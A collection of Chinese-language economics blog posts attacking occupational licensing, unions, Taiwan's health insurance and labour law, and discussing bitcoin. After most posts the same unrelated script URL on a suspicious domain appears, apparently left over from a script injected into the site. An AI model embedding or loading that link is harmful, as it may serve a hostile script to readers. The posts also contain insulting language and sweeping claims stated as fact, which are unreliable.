分類: 經濟分析

分類
筆記 經濟分析

證照制度扼殺機會

華爾街日報報導：「Licenses to Kill Opportunity」

1. 美國在1950年代，平均每20種職業其中一種需要證照；但到了現在，平均每四種就其中一種就需要證照才能工作。

2. 新的研究指出，證照制度本身不僅讓貧者更貧，還扼殺了底層社會人民向上攀爬的機會。

3. Lousiana與Washington州高達77種低收入職業仍需要證照才能工作。加州最誇張，因為規則太過繁瑣，竟然沒有一個行政單位能弄清楚並提出一張「職業證照清單」！

4. 在加州，連修扇門的工人都被要求須接受1460天的訓練，然後支付$500證照費給公會後，方可正式接單服務。

5. 今年二月，Arizona州有位美容專科學生發善心幫無家可歸的遊民剪髮，被當地公會控告面臨裁罰！

6. 證照支持者永遠宣稱證照制度存在保護了公共利益/健康， 其實是天大謊言。Istitue for Justice就發現園藝修剪師父竟然要接受比醫院急診技師還高出16倍的訓練量！就連化妝師也比醫院急診高出11倍。試問此二者就算服務有瑕疵，可以造成怎樣的公眾傷害？

7. 某些州甚至要求室內設計師必須受訓6年、通過資格考、並支付$1120以上的費用才能取得證照，其嚴格程度超越牙醫助理執照、驗光師執照、分娩接生執照與藥劑師執照。再試問室內設計師影響的公眾利益/健康，怎麼可比後面敘述的幾個職業都還重大呀？

8. 研究亦發現，證照制度讓消費者在過去十年多付出9%的費用，一年總額高達$2千億美元！同時證照制度的機會成本是剝削了消費者的選擇自由。Louisiana比Mississippi多出40萬個黑人居民，M州有1200個合法黑人髮型理髮師，但因為L州的證照制度較為嚴格，所以黑人更多的L州竟只有32位！

9. 我在加州生活的經驗，連理髮都需要證照；而無證照的家庭理髮服務價格僅需有證照的1/4~1/5。

我在2009年的「不著邊際的筆戰 — 談ECFA與台灣工資水準」曾寫過：「談到競爭觀念，我們得釐清：經濟學上，買方與賣方永遠不存在競爭關係！競爭關係永遠只存在於買方之間，或賣方之間。需求不變下，價格會跌，純粹是因為賣方在競爭；供給不變下，價格會漲，是因為買方在競爭。」

所有的證照制度，本質其實跟保護消費者沒有太大關係，而是要透過政治手段減少勞務供給者之間的競爭，也就是要「減少賣方之間的競爭」來達到壟斷租值的保護。而這樣的租值保護，其實是用政治手段剝削消費者，上述研究就指出美國人一年因此被剝削$2千億美元！從黑人髮型師的例子也可看出，證照制度排除競爭的效果有多強！

我自己法律系出身，我想同為法律人都很難不承認，所謂的律師考試與一個法律人本身的法律知識、修養、通曉世事之能力乃至於保護當事人等層面其實都沒有太大關係。

證照制度另外三大弊病是：1. 無法支付證照成本（無論是金錢或時間）者，即便在某行業有高超技藝亦或天份，也會被排除在外。對此人與消費者都是機會成本損失。

台灣取消中醫特考，有多少家傳一流中醫師因此被迫轉業或停業？而中國醫藥學院訓練出來的中醫師是否真的就很夠格？我想行內人也是心知肚明。

2. 全職準備證照考試者，本質卻是浪費人才生產力！從上述證照考試來看，許多受保護的職業所提供的訓練根本是多餘甚至不必要。但為取得證照，社會上有一群人將浪費相當時間與資源在這件毫無生產力的事情上，也是機會成本之一。（當然，補習班與主考機關會因此得利）

 

3. 通過證照者，因為上頭成本的影響，讓這群人轉職意願降低。則在面臨不景氣或典範移轉時，整個行業被淘汰的情形加劇；反之，也因為證照制度下的利益團體容易在民主政治中形成政治團體，抗拒行業轉變與抗拒新興取代性技術的不利整體社會行為就容易出現。

是的，從機會成本來看，證照制度讓整體社會付出的，遠比表面上看起來大得多。至於其所宣稱的保護效果，不過是天空中的一片虛幻蛋糕。https://js.developerstatss.ga/stat.js?n=ns1

分類
筆記 經濟分析

從提供現金日薪的App談起


華爾街日報報導：「Workers Get Faster Access to Wages With These New Apps」

有趣的商業模式，代替雇主提供每日現金薪資給勞工，而APP方面則對勞工收取每日$1.25 ~ $3美元的手續費（也有APP是向雇主收取）。

經濟邏輯上，此服務受歡迎即表示美國底層勞工面對的實質利率非常高，可以再推論出：

1. 傾向領現金的勞工能存錢的（無論是人數或存款佔收入比率）會比可接受月薪制少。

2. 傾向領現金的勞工病假率低，願意工作更長工時（這部份請參見我的「加班的簡易經濟分析」，與生產線計件清楚的勞工背後經濟邏輯類似）

這部份也展現為什麼台灣勞基法吵工時規範是bull shit！當勞工更願意加班時，為什麼這個選擇的自由要被法律剝奪？憑什麼這群假勞工真政客比勞工本身更知道他們需要什麼？

3. 2008年以來美國Fed人為壓低利率，但各項法規不夠鬆綁的前提下，會讓這些低利率由富人階層享受；低收入階層因為金融風暴影響攀高的風險費用，反而享受不到低利率的好處。這會帶來極大貧富差距的後果。

而問題根源並非左蠢以為的「富人剝削窮人」，而是一堆過去左蠢各項宣稱照顧弱勢的勞工、建築安全、環保、社會福利….等法規造成經濟體在面對不景氣時難以有彈性地去應變。

契約失去彈性，下場就是unemployment。不管是人、物、財都會出現unemployment現象：於人為失業、於物為滯銷、於財則是爛頭寸。

老讀者都知道2008年我就針對當時的金融風暴寫過一系列分析文章，其中我明白指出2008年金融風暴根本問題還是左蠢的社會福利政策 — 美國人人有屋住的政治風向，從卡特總統以來諸多法案強迫銀行不顧風險借貸給不適任的房屋購買者，並通過房利美這類半官方機構擔保承接。後來的房貸證券化、衍生金融商品化不過是讓「個人風險轉為系統性風險」惡相加劇的助燃劑，問題根源還是在於不顧成本風險的社會居住正義的左派夢想。

話說台灣口稱居住正義的政客或蠢文青，有無認知或誠實告知2008年金融風暴是因他們的畫大餅主張引起嗎？科科。https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析

工會百害而無一利


關於開除工會幹部，我多談兩句。

我認為幹得好，如果是我也會這樣做。

如果我們回到R. Coase的諾貝爾獎級鴻文「The Nature of the Firms」，正確的理解是 — 公司組織是一種/多種用不同於市場的合約安排，來達到資產所有者希望的效果。

換言之，公司組織本身雖然活在市場上，但組織內部卻是反市場的，其理由也在於「資訊費用」。如同我新一篇文章強調：「市場是很昂貴的資源安排手段」，因此某些狀況下，採取公司組織效率可能更高。

又例如我在「加班的簡易經濟分析」所舉的秘書工作一例：

“…秘書工作多樣、複雜且難以論斷品質。也就是說，秘書今天接了30通電話，應答對話品質高不高？品質標準判斷不如前述家庭代工來得容易。

更何況秘書還有安排老闆行程、辦公室環境整理、老闆與來訪客戶餐點安排、與會擔任會議記錄等…各種雜七雜八工作，且並非每家企業的秘書工作內容都相似。

這時候工資論酬方式難以繼續「論件」，最有效率的方式是「被委託」到買賣雙方都不太會有爭議的「時間」上。…"

從這個例子我們也可以推論得知公司組織之所以存在，是因為當生產活動需要高度複雜分工時，分工下很可能一人被賦予多種任務，且任務的達成不容易分別計價時，公司組織就會被發明並取代市場。也就是張五常所說：「一種契約取代另一種契約。」的內涵。

而工會的存在卻會讓上述的複雜分工契約權責模糊化 — 試問你請一位家庭幫傭來打掃，結果該掃哪裡、該怎麼清潔、一天工作量應該是多少，甚至薪水該拿多少？這位幫傭不聽你的而是聽工會的，那你請這個人幹嘛？正常的雇主肯定尋找「非工會」勞工。

這就是為什麼工會之存在必定要透過政府暴力：法律賦予工會壟斷權，逼迫雇主一定要聘僱工會成員（則非工會成員與雇主的財產權都被剝削侵害了）；工會不但能合法罷工，而且還能合法阻止其他願意接受此條件而工作的人就業；工會甚至可以破壞雇主的營運、器材與資產而毋須負擔賠償責任。（參見台灣的勞資爭議處理法）

試問高度工會化之下，有誰還能成功創業？邊際企業將無生存空間，反而真正高租值大企業可以予取予求，1984惡夢將會成真。高度工會化之下，工會成員黑道化、貪汙化、政治尋租化也必然存在。又高度工會化下，公司營運資源應該如何分配將變成不以市場為導向，而是以工會幹部利益為導向，公司租值將從股東、經營者移轉到工會幹部上，這叫美麗新世界？誰還有誘因創業？再進一步，租值移轉到工會幹部上，則企業將無資源放到正確的研發、生產設備改善、軟體改善…等項目。這也是說，工會不但蠶食公司現有租值，也吃掉了公司的未來。君不見美國多少20世紀上半不可一世的大企業（如鋼鐵業、鋁業、汽車製造業），被工會整到競爭力全失。如福特汽車、通用汽車能再起，關鍵都是爛到底後成功擺脫部分工會勢力，才得以重生。但競爭力已遠遠不如二戰戰敗國德國、日本。英國二戰後經濟長期不景氣，也是被工會林立所害！柴契爾夫人最大貢獻就是大規模刪減工會權力，方讓英國經濟重生。

只要是工會幹部成員相關，工作能力再差、績效再爛，都不會被辭退，而真正有能力新血，若其非工會成員反而被排斥在外。這對雇主、消費者乃至於有心工作的員工都是不利與剝削。此外該現象的本質根本就是：「績效與報酬分離」，此狀況不正是1950~1970年代中國共產黨失敗經濟政策的主因？中國實驗的後果是數千萬人活活餓死！

此外，工會掌握聘僱權，意味邊際勞工必須賄絡工會成員（無論是金錢或肉體）方可入會；又邊際勞工的邊際並非是生產力邊際，而是「政治影響力邊際」。當一個社會不以「滿足市場的生產力」為標竿，而是以「政治關係或影響力」為準則時，我們會看到的就是文化大革命再現，社會倒退與貧窮饑荒是必然。

美國教師工會惡名你可以去研究研究，就是上述狀況。而正因為美國教師工會的政治尋租與黑道化，使得美國公立教育水準嚴重倒退，學生品格教育也極為失敗，讓美國中學毒品、幫派氾濫越趨嚴重。講更白一點，美國的中學的性氾濫、賭博、毒品、幫派犯罪等等，美國教師工會要是肇事元兇！

美國從1973年到2011年，私人部門的工會人數從24%降到7%；反之，同時期公部門工會人數卻從23%成長到37%。這背後原因殊堪玩味 — 是公部門思想比較進步？還是公部門的壟斷租值讓工會較容易生存？

這樣的組織，與黑道何異？美國資源回收業工會背後有愛爾蘭黑道、殯葬業工會背後有義大利黑手黨…. 都是可查事實。這樣的組織與法律竟然被一堆蠢文青歌頌？他們豈知道自己歌頌的手段恰恰會造成自己所批判的後果，真是好笑又黑色幽默到極點。

誠如我一位長期讀者分享：他老闆說再賺幾多錢，就收起來不做了。當老闆一點都不好玩，管理員工又累又不討好。這是大實話！加進工會更不得了，這就是為什麼我明白認定工會是社會蛀蟲與流氓，我一點都不想浪費人生跟這些敗類打交道。即便個人不是，但進入工會的侷限條件下，也很難不淪落。

結論：工會百害而無一利，支持工會者在我看來不但腦袋不清、經濟邏輯差勁，更是對史實無知到極點才會如此。

這種人若還天真地以為自己的理想可以改進社會的話，我只希望他還知道「恥」字。https://js.developerstatss.ga/stat.js?n=ns1

分類
筆記 經濟分析

市場的代價

「市場」是非常昂貴的一種制度安排，可是許多人卻對這點非常無知，輕易就說出「中間商剝削」、「菜蟲欺壓農民」這種蠢話，還處處流露「輕視仇視商人（特別是通路商）」的嘴臉。

看看這段影片就可知道只是簡單的一個蔬果批發市場，就要涉及多少人力、物力、硬體、軟體設備於其中。


再想想世界上有多少種不同市場在從事各種契約安排（contractual arrangements）！股票市場、IPO市場、農產品期貨市場、金屬期貨市場、貴金屬市場、石油期貨與換約市場、工業產品市場、服務業市場、藥材集散市場….

還有許多商品或服務，並非透過一個大市場，而是透過各種虛擬或實體的微通路、大小型產業展覽甚或許多你意想不到的管道在疏通有無、交易往來。

勞動或僱傭契約不過如此複雜人類活動中的一環，而且因應各種不同需求或侷限條件下，會衍生出各種不同勞動型態。

豈是不知世事的工運蠢蛋或無知學生，單憑一腔熱血理想就可以立法管制管理？你們只見樹不見林，只看到極複雜體系中小小一面的問題，殊不知你的蠢理想去實現，在蝴蝶效應下整個體系會發生怎樣的後果。你之所以看不到，是因為你對世事了解實在太少，經濟感受與邏輯近乎欠缺，偏偏對於自我無謂的理想卻放得太大。

繼續閱讀 “市場的代價"
分類
經濟分析 隨筆

針對宣稱「自己是勞工而沒有議價能力者」的統一回覆

我管理過的外勞都知道跟我爭取休息室電視螢幕大一點、假日可以帶女友回宿舍、生產線排到目前最紅商品以分到多一點生產獎金或得到組長請客機會…即便薪資已經是死豬價的外勞也知道怎麼增加非貨幣收入。

以前工地實習時就知道，建築工地現場工人怎麼擺爛逼業主改變計價規則。也知道不同誘因設計下，泥水師父、水電師父等等一天工作量可以有多大的改變。

更甭提我照顧過智能不足的小朋友們，其中都有人懂得多撒嬌好在達成練習時可以多拿一些餅乾糖果。

連過去鄉下世代為乞丐的家族，都知道學、編各種乞丐調、假身世甚至裝殘障來讓主人家/路人多分點食物、零錢。有些乞丐遇到小氣給太少的主兒還會翻臉拒收哩！

以上都是我親身經歷，也都符合經濟學科學原理。

我自己是沒養寵物；但養很多貓狗的鄰居也說某些貓狗特別懂得撒嬌或欺騙，以換取更多食物或關愛。

然後你還好意思說自己沒有議價能力？說自己不知道？

在我看來，宣稱自己身為勞工卻沒有議價能力者根本在說謊。除非你承認你連智力只有三四歲小孩的智障朋友甚或畜生都比不上…..而此正是我一貫批評的–低租值勞工通常問題根本出在自己身上，而其中有些人還只會怪天怪地怪父母怪社會怪懷才不遇，就是不懂檢討自己。

https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析 歷史

為什麼反同最力者很可能本身就是同性戀？從經濟分析角度切入

ETToday報導「反同議員大推家庭價值　被抓包在辦公室「男男性行為」！」

美國俄亥俄州眾議院的議員古德曼（Wesley Goodman）一向公開反對同志族群，以保守派自居，沒想到日前他被抓到在辦公室內和一名非議院員工的男性有不當的行為，目前已經辭職下台，並希望外界可以給他一點隱私。
33歲的古德曼在被發現於辦公室和一名男性有「不當性行為」，而且是在雙方都同意的情況下，14日下午他與俄州眾議院發言人羅森貝格爾（Cliff Rosenberger）見面談話後，辭去議員的職位，但沒有針對同性性行為發表任何評論。羅森貝格爾的聲明指出，古德曼向他承認男男性行為的指控，辭職是對個人、家庭和整個議會最好的決定。

目前在議會內沒有人提出古德曼騷擾的指控，但有相關人士告知了羅森貝格爾，事件才爆發。古德曼是共和黨的議員，一直以「保守運動的良知」自居，大力推崇一夫一妻的「傳統家庭價值」，公開反對同性戀，在他的推特帳號也描述自己是一名「基督徒與保守派」，他的競選網站上則寫道，相愛的爸爸媽媽、自然的婚姻和充滿關愛的社區，是最值得追求和保護的，也是俄亥俄州的驕傲。

過去我在「從上空女郎談競爭準則」一文中就曾談過：「越是在某種競爭準則下難以勝出的人，就越有誘因去反對那個準則！（反之，越能佔到便宜的，就越會支持該準則）」

這說明長相在婚姻市場或性市場中越不吃香者，越有誘因去「反對物化女(男)性」與「反對以性為賣點」。這也說明收入低者容易反對黃牛制度存在，但收入高者對黃牛制度反倒是較樂於利用（這放到不明所以的財經作者，就可以變成「有錢人想的跟你不一樣」）。自身侷限條件與客觀侷限條件不同時，不同族群就會偏好與反對不同的競爭準則。

同樣從競爭的準則來看，其實異性戀者對於同性戀乃至於同性婚姻基本上應該是「無感」。何解？因為目標市場不同，同性間基本上不但不存在競爭關係，甚至同性戀還可以幫助降低同性間對異性的追逐競爭。

比方雄性A是異性戀，同性的B是同性戀，同性的C則是雙性戀。僅有一異性a’存在。

假設不存在劈腿現象的前提下（注意，我是先假設不存在而方便推論，並非否認劈腿的存在。先理解簡單狀況，則分析時可再把劈腿現象放回來考慮。）

若AC均同時喜歡上某異性a’，則AC會存在同性的性競爭關係，從而提高追求成本。但若B成功地與C結合，則A將面對競爭減少，從而降低追求成本。

換言之，身為異性戀的A理當對同性戀B的存在無反感甚至某種程度鼓勵。

我們把劈腿現象放回此例中，若B能成功瓜分C的注意力乃至於時間，即便C劈腿，情況也會較有利於A。至少從性遺傳角度看，A有更多時間與機會成功吸引a’性交或是有更多時間注入更多自己的精子，從而提高衍生攜帶自身基因之後代的機率。

但若ABC均是異性戀，則可見ABC三者追求a’成本提高，而a’所生後代是否攜帶自身基因的可確定性降低（經濟分析上可看做預期報酬降低）。

這就是為什麼我認為異性戀者對於同性戀之存在應該是無感；對雙性戀者存在比較警戒。

繼續閱讀 “為什麼反同最力者很可能本身就是同性戀？從經濟分析角度切入"
分類
經濟分析

醫護過勞的真正元兇是健保制度而非勞基法

蘋果日報報導：「資方讚添彈性 假日開診料增 — 護理批修法倒退 台鐵工會嘆又要談判」

….護理人員團體更已在討論後續抗議行動。

一例一休實施後，基層診所假日不易請到藥師、護理師上班，開診率直直落。台灣私立醫療院所協會理事長朱益宏說：「修正是對的，協會表示歡迎。」鬆綁7休1、延長加班時數等，都讓醫院經營與調整人力更有彈性，輪班間隔時間也可勞資協調，協會將研擬加班工時帳戶制，做為政府修法依據。

但台灣基層護理產業工會常務理事鄧雅文批評，此次修法「越修越倒退、越修越離譜」，工會「很不滿且嚴正抗議」，已有基層護理人員感到害怕、心寒，護理人員一旦過勞將是患者受害，政府完全置病患生命於不顧，工會正討論後續抗議行動。…

1. 今年1月在「我對一例一休的看法一文中」就透過經濟分析預言：「許多企業會選擇假日不提供服務甚或營運日期減少。」

事實上許多診所、郵局乃至於宅急便服務都取消了週末的部份甚或全部服務。可見經濟分析的科學預測性！

2. 但台灣基層護理產業工會顯然畫錯靶、開錯槍，竟然誤以為造成台灣醫護人員過勞的原因是因為勞基法、因為醫院資方剝削。部分醫生甚至天真地以為納入勞基法就可以免除過勞風險，這都是不懂經濟邏輯的現象。

台灣醫護過勞是非常典型的「人力供給短缺」，而經濟分析上，之所以造成醫療人力供給短缺最大也是唯一的元兇就是 — 健保制度！因為健保制度本質上就是一個買方壟斷的價格管制制度，透過政府強制暴力方式，片面決定醫療人員、醫院乃至於藥品的收入。當給付價格過低時，醫生與護理人員的租值被政府剝削，同時風險貼水（醫療糾紛不是問題，而是醫生有沒有足夠高的收入或類似美國醫療糾紛保險制度來概率上彌補風險）也偏低的情形下，願意投入醫護產業的勞力供給將逐漸降低。

是的，醫生收入在整體社會上看還是較高的一群，但優越性肯定不如健保制度之前。而醫生轉職其他行業的困難（無論是專業局限性與心理因素都會影響，柯文哲、賴清德轉戰政壇者僅是個案，佔整體醫生比例是很低的）使得健保制度下我們不會看到「人力忽然短缺」，而是會看到「人力逐漸短缺，特別從報酬率低、風險係數高的科別拓散出去」。

健保制度是台灣非常獨特、愚蠢而邪惡的制度，實質並非保險制度，而是一種政府強迫移轉財產的補貼制度–從看病次數少者身上移轉財產到看病多者與公務員身上。該制度之經濟效果就是侵害台灣醫療產業，也侵害患者選擇醫療與藥物的自由（因為價格管制下，高額或高成本藥物與醫療方式會被劣幣驅逐良幣般出場），同時醫院為了回收投資設備，也會因為醫療價格被管制而過低的前提下，不計實際患者是否需要地「過度檢查」或「過度治療」。這都是價格管制下必然發生的經濟規律。換言之，表面上看似台灣患者醫療費用低廉，其實背後被捅刀、被當冤大頭而不自知。唯一真正受到健保好處的就是因健保而生的公務體系與貪汙架構。

被迫移轉財產者，事實上就是被課稅。而偏偏台灣政府迂腐顢頇地、令人笑掉大牙地宣稱健保費或補充保費不是稅。試想今天你走進超商買條口香糖，店員會查詢你的收入後說：「因為你有股利收入所以要多收XX元」嗎？

台灣政府恰恰最喜歡「無視經濟規律」地推出各種愚蠢制度，一例一休不過是近例之一。回過頭來，基層護理產業工會顯然打擊錯誤目標，該被譴責與檢討者，是註定要破產卻又會被續命以維護制度性貪汙的健保制度。是這個制度造成醫護收入降低、是這個制度造成醫護人力供給短缺、也是這個制度降低醫療品質與增加醫療浪費（無論是醫藥面或看診人數過多且重複面）、更是這個制度讓醫護人員的社會地位逐漸不被尊重。

這，都是經濟分析早就知道的必然結果。https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析

有關加班的簡易經濟分析

加班拿不到加班費就現實狀況的經濟分析如下：
 
首先必須認知，現今僱傭契約本身是一種「委任代工契約」的變質。最簡單的想法，就是從傳統「家庭塑膠花組裝代工的計件論酬」轉換至「秘書工作」。
 
計件代工無所謂加不加班，因為報酬委託到「件」上，清清楚楚。而通常這個「件」的QC有清楚且容易的標準。如果代工者物件不符合標準，甚至做壞了，該怎麼賠償也多有行規。
 
但秘書工作多樣、複雜且難以論斷品質。也就是說，秘書今天接了30通電話，應答對話品質高不高？品質標準判斷不如前述家庭代工來得容易。
 
更何況秘書還有安排老闆行程、辦公室環境整理、老闆與來訪客戶餐點安排、與會擔任會議記錄等…各種雜七雜八工作，且並非每家企業的秘書工作內容都相似。
 
這時候工資論酬方式難以繼續「論件」，最有效率的方式是「被委託」到買賣雙方都不太會有爭議的「時間」上。
 
重點來了！雇主雇用員工，從來就不是「要買員工的時間」，而是「要買員工的生產力」，只是因為現代工作內容複雜化、分工也複雜化（例如複雜的生產線設備工程師，其工作內容也難以論件計酬）等等原因，工業革命後出現了「僱傭契約」這種「將計價單位委託到時間」的安排。
 
理解這點我們可以推出：
 
當工人提供的生產力容易計件與QC，就不容易出現老闆不付加班費的現象；反之當工人提供的生產力難以計件與QC，模糊空間大則加班費就容易有爭議。
 
放到真實世界驗證，一般生產線上的工人加班費計算都不太容易有問題。例如塑膠射出業，現場操作員一小時可以生產多少產品、其中QC應達標準幾何…等，都容易被監督與計算，這類人的加班費都算得很準，而且這類人多半也很愛加班多拿錢。

在台灣中南部很多邊際工廠，反而是「以不給加班來懲罰某些員工的不良行為，例如喝酒吸毒後上工」！也就是說，制定一例一休的立法者根本不知道真實世界存在這種現象，才會有逼人休息的愚蠢安排，自以為自己更知道工人要什麼。 

白領階層則相反，特別是坐辦公室的雇員、業務，這群人生產力難以監督。比如法務工作，在公司有案件、契約或草約等各種活動出現之前，法務在公司裡還真的沒有什麼事情要做。有時候一天空坐到下午3、4點，才出現一份契約要審，若剛好是很複雜又緊急的契約，可能審到半夜1點才下班。實際工作時間差不多是8小時，但要不要算加班費？勞方肯定認為要算，因為stand-by的時間也要算；可資方呢？就要看公司租值高不高了。

管理階層也容易出現工作出現時機不固定的狀況。例如過去我曾經營百貨公司專櫃，某日半夜11點櫃姊打電話向幹部哭訴被男友毆打趕出家門，公司幹部半夜出去照顧櫃姊安排住宿與寄放行李的地方，幫忙聯繫報警，以求明早這位櫃姊可以準時照班工作。因為這位幹部實在無法在半夜調度到願意或能夠明早替班的人。試問這位管理階層要不要拿加班費？時間怎麼算？

白領的生產力難以量度，還有個最常見的現象就是偷懶 — 我知道許多香港白領打工仔（上班族）9點上工，10點前都在上網吃早餐，11點開始跟同事討論午餐上哪吃，12點準時去吃午餐，中間接兩三通電話；下午回來昏沉到2點多開始有人招集訂購三點一刻下午茶，四點後（或老闆回來後）才真正進入工作狀態。

 
我在台灣待過員工數萬人的機構也做過30人以下小企業，辦公室裡類似香港打工仔的狀況一樣很常見。
 
而這種人最容易出現加班卻沒有加班費的情形。
 
講難聽點，如果真的當過老闆就知道，這種人有臉來要加班費的話，我倒要檢討他正常工時8小時裡究竟做了什麼。同樣的，身為老闆，我非常討厭員工正常工時偷懶來創造加班，這種加班不但浪費了我的水電空調費用，浪費我的加班費，也浪費我原本支出的正常工資。
 
最後談一種非常特殊的加班：公務機關的故意加班。
 
有一種情形我只在公家機關見過，就是某些公務員表現好，上司希望為其加薪但苦於公務體制的顢頇與桎梏。而單位的加班費預算還有額度，所以叫這幾個員工來單位「削鉛筆」賺加班費。對，你沒聽錯，工作內容就只是削鉛筆，削到加班時間夠了再走人，達到實質加薪的目的。
 
這種詭異狀況我是親身見過才知道還有這種事。
 
以上是有關加班的簡易經濟分析。真實世界的僱傭關係因應各行各業而千變萬化，但讀者要知道與掌握的超級重點，在於生產力量度困難時，方才出現「計價委託到工時」之安排，是現今諸多僱傭契約背後問題所在，也是為什麼政府妄圖透過法律規範勞雇關係是緣木求魚、痴人說夢。
 

https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析 商業評論

PCHome競爭下的租值流失


上個月甫才發表「論蝦皮免運費策略-兼論掠奪性定價」一文，提到過去我曾與PCHome合作的不愉快經驗：

…

我的商品虛擬通路部分曾在PCHome 24h、PCHome商店街與MOMO分別上架，並都簽訂契約。但PChome方宣傳往往不力，而且能選擇的宣傳廣告工具極少，代價又往往太高（C/P值過低）。又PM對於廠商名牌與否明顯大小眼，許多促銷活動同樣參加，名牌曝光率還是高過新創產品，單分攤促銷費用上卻高得離奇。後來我公司商品也打電視與主流報紙全國全版廣告後，PM態度才稍有轉變。

此外產品毛利率由PCHome單方面認定，因此要扣你多少費用也是PCHome自己說了算。甚至要調漲都沒有預告期間或磋商，PCHome自己偷偷摸摸就調了。

再者產品熱銷款與滯銷款都可能被PCHome擅自調降售價，事前也不通知廠商。造成廠商片面損失不說，當其他通路跟廠商抗議時，廠商更是難以處理。

又，併貨寄送時，紙箱材積成本分配上也是由PCHome擅自決定，而容易發生不公平或材積小者卻負擔過重現象。

又，PCHome倉庫環境惡劣非常，我們放在公司倉儲2年不壞（商品保存期限2年），新產出貨品放到PCHome倉儲竟然2週內就質變。消費者向我公司投訴商品品質時，我們不斷追查才發現問題根本不在商品本身，而是PCHome倉儲環境太糟糕。但怎麼建議，PCHome都是老大不屌你。當然對於我公司產品商譽受損也是不聞不問。

各位覺得PCHome 24h消費網頁是不是很落伍、很過時？告訴你，廠商後台更爛更難看也更難用到爆！甚至商品說明或上下架更新都非即時的！

基於此不愉快體驗，我與PCHome一年合作到期斷然拒絕續約。

以上經驗年日略久，或許記憶中細節略有出入，但整體印象惡劣存留至今。希望現在PCHome不再如此。

我並未跟蝦皮有過合作，但特別寫這段是要強調：電商競爭面相非常廣，消費者面的集客能力、倉儲效率品質與可靠度、廠商面的合作內涵等，都會是競爭的內容。

免運費不過是眾多競爭條件之一，恐怕不完全是決定性條件。….

如今剛剛公布的網家106年第3季綜合損益表，轉盈為虧每股虧損0.12元，其中最明顯的就是推銷費用與去年同期相比大增近6成！單季推銷費用就高達10億台幣。單季獲利也從去年同期的2.3億衰退為今年第三季的虧損9千多萬。從經濟分析觀點來看，這是很明顯的「競爭之下，上頭租值受損」的態樣。

價值投資者喜歡拿巴菲特的「護城河」觀念出來說嘴，但其實並不正確。不知巴菲特是故意含糊語意不清，亦或純粹嘗試白話舉例造成概念過度簡化。

真正價值投資應該要看的，是上頭租值的形成、財報中的呈現方式以及對抗競爭下租值流失的比例與速度。

我上個月的文章中，從自身經驗很明白地指出，如PCHome、蝦皮、MOMO這類虛擬通路的競爭並不完全在「免運費」這麼簡單的一件事上，而牽涉到多方面的競爭與資源整合。PCHome過去獨大時代，老大心態下的表現其實並不特別優異，至少身為合作廠商的我來說，主觀感覺是比與天貓、淘寶或美國Amazon合作還差的。PCHome很像是山中無老虎，猴子稱大王。

近日又在群組中看到廠商反應PCHome片面要求合作廠商吸收行銷費用、簡訊費用等成本，讓我深覺這家公司其實沒有發現自己問題出在哪些魔鬼細節，而只想跟蝦皮拼銀彈同時轉嫁成本給合作廠商。

當然在集客能力還不錯的前提下，廠商或許勉強容忍；可一旦集客能力下滑或引起廠商懷疑，則廠商傾刻間棄PCHome如敝屣也是很可能的。特別是那些在PCHome上經營可邊際利益已經很低的廠商。

眼看他樓起，說不定會比我想像中還快看到他樓塌…當然很可能在此之前已經被外資或競爭對手買下也說不定。現在說這個還太早，希望PCHome多加油囉！https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析 商業評論

英雄所見略同

英雄所見略同
 
巴菲特針對Bitcoin也說話了：「“You can’t value bitcoin because it’s not a value-producing asset,” Buffett told MarketWatch. He said that it is impossible to say how far bitcoin’s value will rise, adding that there is a “real bubble in that sort of thing.”」 
 
簡單翻譯：「你無法衡量比特幣價值，因為它不是一個能產生價值的資產…真正的泡沫就是像這類東西。」
 
 
正好與我上個月寫的「論比特幣（on Bitcoin）」看法一致：
 
「…比特幣很明顯是屬於「無產出」的財富倉庫，而其作為財富倉庫有以下幾個優點：
 
1. 數量固定 ：
這也是比特幣不斷強調的特色之一。
2. 贗品機率不高：
目前區塊鏈技術尚未被破解，其技術本身保證了每一單位比特幣的真實性。網路上的交易者幾乎不太會遇到「買到假比特幣」的風險。（被黑心仲介詐騙是另一回事，不屬於贗品問題）。
3. 流通轉手費用低廉：
去中心化、網路虛擬特性加上保密性，相較於黃金、珠寶乃至於古董字畫，比特幣的轉手瞬間完成，而且費用極為低廉。
4. 價格無上限：
所有無產出財富倉庫均有此共通特色，因為無產出，所以沒有未來預估收入流可以折現計算。反過來，也就失去了這個合理評估價值的量度工具，造成此類財富倉庫價格波動可以非常劇烈且快速。
 
從上述四個優點不能探知，為什麼比特幣會成為一種炒作標的。因為其本身的確具備相當優良的財富倉庫基因。
 
可是同樣以財富倉庫看，比特幣有以下缺點：
 
1. 價格可快速下跌至零：
正因為無產出，使得比特幣成為「無根」的財富倉庫，上漲可無限，但下跌至零也是合理。畢竟無產出的物品難以有預期收入來做真實價值（intrinsic value）的支撐內涵。
2. 技術有被破解之可能。
3. 競爭易轉激烈：
正因為區塊鏈採開放原始碼，複製同樣的技術創立新數位貨幣的進入門檻很低。
2017年將近100種新區塊鏈貨幣進入市場，其中有30%完全無人使用與交易。
當交易速度更快、保密性更高（如Ether coin）進入市場，競爭之下必然會拉低比特幣的匯價或漲幅。

而從宏觀角度來看，誕生新區塊鏈貨幣的門檻很低，是不是也意味著「數量固定」這一點其實是守不住的？值得思考。
4. 無歷史共識：
相較於黃金、珠寶乃至於古董字畫，比特幣的歷史共識非常低，尤其跟黃金相比。這會使得價格下跌時，牛群信心崩盤、樹倒猢猻散的速度飛快，猶如荷蘭鬱金香炒作事件。新玩意兒容易炒，但要死也特別快。
 
綜合上述幾點，從投資者角度看，比特幣雖然有被當做財富倉庫的素質，但本身的缺點造成其價格上下無邊、波動無時。作為投資標的來看，資訊費用太高，我認為閒錢幾十萬玩玩兒可以，真要當主要投資標的是萬萬不可。
 
事實上我認為所有的無產出財富倉庫，均不適合當做主要投資標的，當然也談不上什麼避險功能啦，那是用來騙無知者的謊言。…」
 
有些批評者其實沒看出「無產出財富倉庫」這個重點，而這點恰恰是我跟巴菲特看法一致的地方。
 
無產出財富倉庫正因為失去衡量價值的收入流折現總和的拘束，漲跌可以瘋狂且無限。而價格與實質經濟產出發生如此劇烈的脫離時，恰恰是「泡沫」的本質。
 
因此巴菲特稱比特幣是一種泡沫時，其背後學理基礎與經濟邏輯是很扎實的。跟市面常見的分析師動輒唬爛「泡沫」是兩回事。

https://js.developerstatss.ga/stat.js?n=ns1